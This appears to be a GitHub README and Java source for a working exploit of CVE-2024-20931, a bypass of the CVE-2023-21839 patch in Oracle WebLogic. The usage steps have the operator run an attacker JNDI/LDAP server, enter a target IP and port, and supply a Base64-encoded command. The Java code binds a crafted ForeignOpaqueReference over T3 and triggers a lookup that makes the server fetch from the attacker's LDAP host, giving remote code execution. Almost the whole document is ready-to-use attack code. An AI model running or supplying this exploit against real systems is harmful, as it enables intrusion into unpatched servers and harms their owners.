CVE-2024-20931, this is the bypass of the patch of CVE-2023-21839 Oracle Weblogic
Usage: Setup JNDI, the specific one from https://github.com/WhiteHSBG/JNDIExploit/
Exploit:
java -jar CVE-2024-20931.jar
Please input target IP:127.0.0.1
Please input target port:7001
Please input RMI Address(ip:port/exp):JNDISERVER:1389/Basic/Command/Base64/BASE64COMMAND
Notes:
This is reworked from https://github.com/Leocodefocus (thank you), also at https://github.com/ATonysan/CVE-2024-20931_weblogic/tree/main, all come from the https://github.com/GlassyAmadeus/CVE-2024-20931
Java version "1.8.0_151", is required for JNDIExploit as well as for the current CVE.
Practice using a docker environment from https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2023-21839. Limited commands are supported, e.g. try with curl (no ping/nslookup on the image).
import java.lang.reflect.Field;
import java.util.Hashtable;
import java.util.Scanner;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import weblogic.deployment.jms.ForeignOpaqueReference;
public class MainClass {
public static void main(String[] args) throws NamingException, NoSuchFieldException, SecurityException, IllegalArgumentException, IllegalAccessException {
String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
Scanner scanner = new Scanner(System.in);
System.out.print("Please input target IP:");
String targetIP = scanner.nextLine();
System.out.print("Please input target port:");
String targetPort = scanner.nextLine();
String url = "t3://" + targetIP + ":" + targetPort;
Hashtable<Object, Object> env1 = new Hashtable<>();
env1.put("java.naming.factory.initial", JNDI_FACTORY);
env1.put("java.naming.provider.url", url);
InitialContext c = new InitialContext(env1);
Hashtable<Object, Object> env2 = new Hashtable<>();
System.out.print("Please input RMI Address(ip:port/exp):");
String exp = scanner.nextLine();
env2.put("java.naming.factory.initial", "oracle.jms.AQjmsInitialContextFactory");
env2.put("datasource", "ldap://" + exp);
ForeignOpaqueReference f = new ForeignOpaqueReference();
Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
jndiEnvironment.setAccessible(true);
jndiEnvironment.set(f, env2);
Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
remoteJNDIName.setAccessible(true);
String ldap = "ldap://" + exp;
remoteJNDIName.set(f, ldap);
c.rebind("glassy", f);
try {
c.lookup("glassy");
} catch (Exception exception) {}
}
}